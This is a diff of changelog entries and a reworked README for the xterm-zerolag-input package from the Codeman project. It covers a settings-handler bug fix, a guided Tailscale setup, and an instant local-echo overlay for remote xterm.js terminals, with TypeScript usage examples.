+  Under 430px the "C" logo now opens a session overview (current sessions, past sessions, spaces) instead of the welcome overlay: on a small screen "which session needs me" beats "how do I start one". Rows resume a session in place, and "New session here" goes through the normal quick-start path so remote and Docker cases keep their routing. Per-device setting `mobileOverviewEnabled` (phones only, default ON) in App Settings. Tablet and desktop are unchanged.
+
+  **Added: guided Tailscale setup in `install.sh`**
+
+  The network-access prompt is now 3-way: Tailscale, LAN, or local-only. The Tailscale path binds loopback and walks through installing Tailscale, logging in, the operator grant, the tailnet HTTPS-certificates toggle, and `tailscale serve --bg <port>`, then verifies the result end to end with curl. That gives HTTPS on a real certificate with no app password and no `0.0.0.0` bind, which is also what PWA install and web push need. `install.sh tailscale` retrofits it onto an existing install, and `CODEMAN_TAILSCALE=1` presets the choice. Serve state is detected from `tailscale serve status --json`; the installer never runs `tailscale serve reset` and never touches serve mappings other than 443 to Codeman's port. README and `docs/security-architecture.md` updated to match.
+
+  **Docs**: replaced a real tailnet hostname with placeholders in `docs/web-tabs-fixes-plan.md`.
+
+  **xterm-zerolag-input**: npm description and keywords only, no code change.
+
+## 0.1.7
+
+### Patch Changes
+
+- Fix a latent bug where a partial settings PUT silently reset live service state, and trim the `xterm-zerolag-input` README callout.
+  - **`PUT /api/settings` no longer resets watchers on a partial body.** The three `toggleService` calls (subagent watcher, workflow-run watcher, image watcher) read the raw request body with `??` defaults, so every key a caller omitted was treated as "apply the default". A body of just `{statusLineTelemetry:true}` would START the subagent watcher and STOP the workflow and image watchers, undoing the persisted config. They now resolve from `merged` (persisted settings + incoming), the same convention the `tmuxHistoryLimit` branch in that handler already used, so any PUT reconciles services to the effective stored state. Nothing triggered this in practice because every shipped client sends a full settings payload rebuilt from the DOM, but it was a trap for the next partial-update caller.
+  - **Regression test**: `test/routes/system-routes-settings-partial-put.test.ts` (4 cases) pins both directions, omitted keys preserve state and explicit keys still take effect. Verified to fail against the pre-fix handler.
+  - **CLAUDE.md** records the rule under "Adding Features → App setting": anything acting on a setting in that handler must resolve from `merged`, never the request body.
+  - **`xterm-zerolag-input` README**: removed the links line (getcodeman.com / install one-liner / star link) from the Codeman callout above the demo GIF. The callout keeps its links in the heading and body.
+
+## 0.1.6
+
+### Patch Changes
+
+- Plan-usage chip now defaults ON on desktop, plus the reworked `xterm-zerolag-input` README.
+  - **Plan-usage chip defaults ON (desktop).** The `showPlanUsageLimits` chip (live 5-hour and weekly plan usage from the Claude statusline) used to be opt-in and default OFF, so most users never saw it. Desktop now defaults ON; handhelds still default OFF so the phone header stays minimal and the `mobile-header-buttons-policy` guard keeps passing. Devices with an explicitly stored preference keep whatever they chose, so nobody's OFF gets overridden.
+  - **One resolver behind the chip.** Added `planUsageChipEnabled()` in settings-ui.js and routed all three call sites through it: the App Settings checkbox, the chip's visibility, and the create-time `statusLineTelemetry` flag in session-ui.js. Those three had independent `?? false` / `=== true` defaults, and a chip revealed without the telemetry flag renders `—` forever, so a default flip on one site alone would have shipped a permanently empty chip.
+  - **Cron button comment corrected.** The App Settings comment claimed "Cron button defaults ON" while the code, the template (`btn-cron--hidden`) and the CSS all default it OFF. Verified against a fresh browser profile: the button is hidden and its checkbox unchecked out of the box. Comment now matches, and states why the two halves stay consistent.
+  - **Docs.** CLAUDE.md, `docs/architecture-invariants.md` and `docs/usage-limits-display-plan.md` updated for the new default and the single-resolver rule; the stale `styles.css` comment claiming the server strips the chip's hidden class at render was corrected (display is per-device, so the client reveals it).
+  - **`xterm-zerolag-input` README rework** (0.1.5 shipped the content; this republishes with the graphic and promo changes): replaced the misaligned 8-line keystroke-flow diagram with a two-line stock-vs-zerolag contrast, added a Codeman callout above the demo GIF with links to getcodeman.com and the repo, and rewrote the Origin section so it argues the extraction story instead of repeating the promo.
+
+## 0.1.5
+
+### Patch Changes
+
+- Rewrite the `xterm-zerolag-input` package README as a value-first document and correct the drift that had accumulated against the source.
+  - Added the side-by-side phone demo GIF (`docs/images/zerolag-demo-20260728.gif`) as the hero image, referenced by absolute raw URL so it renders on npmjs.com as well as GitHub. The two-phone comparison shows 0ms local echo next to a 600ms-2.7s server echo on the same session.
+  - New "Why this one" comparison table, an explicit list of target use cases (SSH web clients, cloud IDEs, mobile terminals, container consoles), and a bundle-size badge (6.1 kB gzipped, measured from the ESM build).
+  - Corrected the test-count badge from 78 to the actual 175 tests across 5 files, in both the package README and the Published Packages section of the root README.
+  - Removed the stale "Unicode/emoji rendered at single-cell width" limitation. CJK, fullwidth forms and emoji have had double-width rendering and visual-column positioning since the wide-character fix; the honest remaining caveat (per-code-point width summing over-counts ZWJ grapheme clusters) replaces it.
+  - Documented the previously undocumented public `setPrompt()` method for switching prompt strategies at runtime, and the new "Wide characters (CJK, emoji)" integration section covering the optional `Unicode11Addon` path and the built-in range-table fallback.
+  - Documented `backgroundColor: 'transparent'`, corrected the `foregroundColor` default, and updated the grid-alignment math to reflect visual-column positioning rather than character index.
+
+  No source changes, docs only.

-## The Problem
+## The 30-second version
 
-When using xterm.js over a remote connection (SSH web clients, cloud IDEs, mobile terminals), every keystroke takes a full round-trip to the server before appearing on screen. At 100-500ms RTT, typing feels sluggish and unresponsive. Users type blind, make mistakes they can't see, and the experience feels broken.
-
-## The Solution
-
-`xterm-zerolag-input` renders typed characters **immediately** as a pixel-perfect DOM overlay positioned on the terminal's character grid. The overlay covers the terminal canvas at the prompt location, showing characters instantly while the server echo travels back. Once the server responds, the overlay seamlessly disappears and the real terminal text takes over.
+Over a remote connection, xterm.js shows you a character only after it has flown to the server and back. At 100-500ms RTT that reads as broken: you type ahead of the screen, you cannot see your typos, and you start pecking one key at a time to stay in sync.
 
 ```
-Keystroke Flow:
-                                    ┌─── DOM overlay (instant, 0ms)
-User types 'h' ─── onData('h') ───┤
-                                    └─── Your app sends to PTY ──→ Server
-                                                                      │
-Server echoes 'h' ←──────────────────────────────────────────────────┘
-         │                                                  (200-500ms RTT)
-         └──→ terminal.write('h') ──→ overlay.clear()
-              (server output replaces overlay — seamless transition)
+  stock xterm.js   keypress ─────── 300 ms ───────→ character appears
+  with zerolag     keypress → character appears  ·  echo lands later, unseen
 ```
 
-**No changes to your backend needed.** The addon is purely client-side.
+Same keystroke, same link. The only difference is who you wait for: the server, or nobody.
 
-## Origin
+`xterm-zerolag-input` paints your keystrokes **immediately**, as an absolutely-positioned DOM overlay locked to the terminal's character grid. The byte still goes to the PTY exactly as before, so nothing about your shell changes. When the server echo lands 300ms later, the overlay clears and the real terminal text takes over on the same pixels. The handoff is invisible.
 
-This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), mission control for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code, OpenCode, and Codex. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
+**No backend changes. No protocol. No server support.** It is a client-side addon that never touches the wire.
+
+Since 0.2.0 the package ships **two addons for two kinds of TUIs**:
+
+| Addon                 | Model                                                          | Use when                                                                                                              |
+| --------------------- | -------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
+| `ZerolagInputAddon`   | **Buffer**: hold keystrokes locally, flush on Enter            | The remote side is a line-oriented prompt (shells, REPLs, Claude Code's composer) that only needs the finished line     |
+| `PredictiveEchoAddon` | **Predictive write-through**: send every keystroke immediately, paint a prediction, confirm against the parsed buffer | The remote side is a per-keystroke TUI (OpenAI Codex's composer, live pickers) that buffering would starve              |
+
+`ZerolagInputAddon` is documented below; jump to [PredictiveEchoAddon](#predictiveechoaddon-write-through-prediction) for the second mode.
+
+## Why this one
+
+| | |
+|---|---|
+| **Survives full-screen TUIs** | Ink, blessed, and friends repaint the whole screen constantly. The overlay is a separate DOM layer they cannot reach, so it does not get clobbered. |
+| **Pixel-matched to the canvas** | Each character is its own absolutely-positioned `<span>` at exact cell coordinates, so it does not drift out of the grid like normal DOM text flow. |
+| **Wide characters included** | CJK, fullwidth forms and emoji render double-width and position by visual column, using the terminal's Unicode addon when one is loaded. |
+| **Backspace that actually works** | A three-layer cascade (unsent, in-flight, already on screen) tells you exactly what to forward to the PTY, so editing works through any mix of typed, flushed and tab-completed text. |
+| **You keep control of input** | The addon never hooks `onData` for you. You decide what gets echoed and what gets forwarded, which is what makes char-at-a-time, buffered, and multi-session tab switching all possible. |
+| **Small and self-contained** | 6.1 kB gzipped, zero runtime dependencies, dual CJS/ESM with full type declarations. |
+| **Proven under load** | Extracted from [Codeman](https://getcodeman.com), hardened over thousands of hours of real remote and mobile usage, 175 tests over every state transition. |
+
+Built for anything that puts a terminal behind a network hop: SSH web clients, cloud IDEs, mobile terminals, Kubernetes and container consoles, remote agent dashboards, browser-based dev environments.

-## Integration Patterns
+## `PredictiveEchoAddon` (write-through prediction)
 
-### Buffered Input (hold until Enter)
+Buffering is the wrong model for TUIs that react to every keystroke: a slash
+command picker filters live, arrows edit server-side state, the composer
+rewraps as it grows. For those, `PredictiveEchoAddon` works like
+[mosh](https://mosh.org/): the keystroke goes to the PTY **immediately and
+unchanged**, and the addon simultaneously paints the predicted glyph at the
+predicted cell. When the real echo lands, the prediction is confirmed and its
+span removed: an invisible swap, identical glyph beneath. Mispredictions
+self-heal via a mismatch cascade and a TTL. It is visual-only by construction:
+nothing it does can gate, delay, reorder or rewrite what you send.
 
-The quick start example above. Characters accumulate in the overlay and are sent on Enter. Best for remote shells where you want to batch input.
+```typescript
+import { Terminal } from '@xterm/xterm';
+import { PredictiveEchoAddon } from 'xterm-zerolag-input';
 
-### Char-at-a-Time (send immediately)
+const terminal = new Terminal();
+const predictor = new PredictiveEchoAddon({
+  // Optional: only predict when the cursor sits on a composer row
+  predictWhen: (t) => {
+    const buf = t.buffer.active;
+    const line = buf.getLine(buf.baseY + buf.cursorY);
+    return !!line && /^› /.test(line.translateToString(true));
+  },
+});
+terminal.loadAddon(predictor);
+
+terminal.onData((data) => {
+  const cps = Array.from(data);
+  if (cps.length === 1) {
+    const cp = cps[0].codePointAt(0);
+    if (cp === 0x7f) predictor.predictBackspace();
+    else if (cp >= 0x20) predictor.predictChar(data);
+    else predictor.clearPredictions();          // Enter, Ctrl+C, ...
+  } else if (data.charCodeAt(0) === 0x1b) {
+    predictor.clearPredictions();               // nav keys, bracketed paste
+  }
+  pty.write(data);                              // ALWAYS, unconditionally
+});
+```
+
+### How reconciliation works
+
+Predictions are reconciled against the **parsed terminal buffer** (cells after
+xterm's parser ran), never the raw output stream. That distinction is
+load-bearing: TUIs redraw whole lines, paint gaps with `ECH` + cursor-forward
+instead of spaces, and multiplexers like tmux rewrite everything into minimal
+deltas. Stream matching breaks on all of that; buffer cells converge to the
+same values no matter how the bytes arrived.
+
+A prediction is **confirmed** only when its cell shows the predicted glyph AND
+the cursor has advanced past it (so a placeholder that happens to match, or an
+identical in-place repaint, never false-confirms). A cell showing foreign
+non-blank content on two consecutive passes drops that prediction and all
+later ones (one pass tolerates half-parsed frames). Blank cells are neutral:
+they are what "not yet echoed" looks like. Whatever remains is dropped by TTL.
+Scrolling up, resizing, or a sustained cursor move clears the run. After a
+backspace into already-echoed text, a cleared input, or a multi-char commit,
+the addon **holds** new predictions until the next parsed write: the displayed
+cursor is stale for one round trip, and anchoring on it would paint ghosts one
+cell off (worst case: exactly one unpredicted keystroke, whose own echo
+releases the hold).
+
+### API
+
+```typescript
+predictChar(ch: string): boolean;     // false = suppressed (still SEND the key)
+predictBackspace(): boolean;          // pops the newest prediction (still send \x7f)
+clearPredictions(): void;
+reconcile(): void;                    // manual pass (no onWriteParsed available)
+setPredictWhen(fn | null): void;      // swap the gate at runtime
+refreshFont(): void;                  // after font/theme changes
+get hasPredictions(): boolean;
+get state(): PredictionState;         // { outstanding, confirmedTotal, droppedTotal, anchor }

+```
+
+### Which addon should I use?
+
+- The remote program shows a **line prompt** and ignores partial input:
+  `ZerolagInputAddon`. You also get backspace-before-send and batching.
+- The remote program **reacts per keystroke** (pickers, filters, composers
+  that rewrap): `PredictiveEchoAddon`. It never withholds bytes, so the TUI
+  behaves exactly as with no addon at all; you just stop waiting for the RTT.
+- Both can be loaded on one terminal and toggled per session mode; that is
+  exactly what Codeman does (buffer for Claude Code, predict for Codex).

+### Wide characters (CJK, emoji)

+Wide characters work out of the box: the overlay measures each character's cell width, renders double-width spans for wide ones, and positions later characters by visual column instead of character index. Line wrapping is computed in columns too, so a wrapped Japanese or Chinese line lands on the same cells the server will use.
+
+For exact Unicode 11+ widths, load xterm's Unicode addon and the overlay will defer to it:
+
+```typescript
+import { Unicode11Addon } from '@xterm/addon-unicode11';
+
+terminal.loadAddon(new Unicode11Addon());
+terminal.unicode.activeVersion = '11';

-## Known Limitations
+## Known limitations
 
-- **Canvas/WebGL font mismatch**: Minor sub-pixel differences possible. Per-character absolute positioning minimizes this.
-- **Unicode/emoji**: Multi-byte characters occupy variable cell widths — rendered at single-cell width, causing misalignment.
-- **Password prompts**: Overlay shows characters that aren't echoed. Call `clear()` when you detect no-echo mode.
-- **Prompt in output**: If `$` appears in command output, prompt detection may find the wrong position. Use regex or custom finder.
+- **Canvas and WebGL font mismatch**: minor sub-pixel differences are still possible. Per-character absolute positioning keeps them small.
+- **Grapheme clusters**: widths are summed per code point, so ZWJ emoji sequences (for example 👨‍👩‍👧) and combining marks can be over-counted. Single-code-point emoji and CJK are correct.
+- **Password prompts**: the overlay will happily show characters the server is not echoing. Call `clear()` when you detect a no-echo prompt.
+- **Prompt characters in output**: if your prompt marker also appears in command output, detection can latch onto the wrong line. Use a regex or a custom finder.

+## Origin
+
+[Codeman](https://getcodeman.com) needed this before anyone else did. A coding agent you drive from your phone over a tunnel is unusable if every keystroke costs a round trip.
+
+So the overlay was built there, ran in production for thousands of hours, and survived three deep code audits before being pulled out into this standalone library with its tests intact. Nothing was reimplemented for the extraction: the engine here is the one Codeman ships.
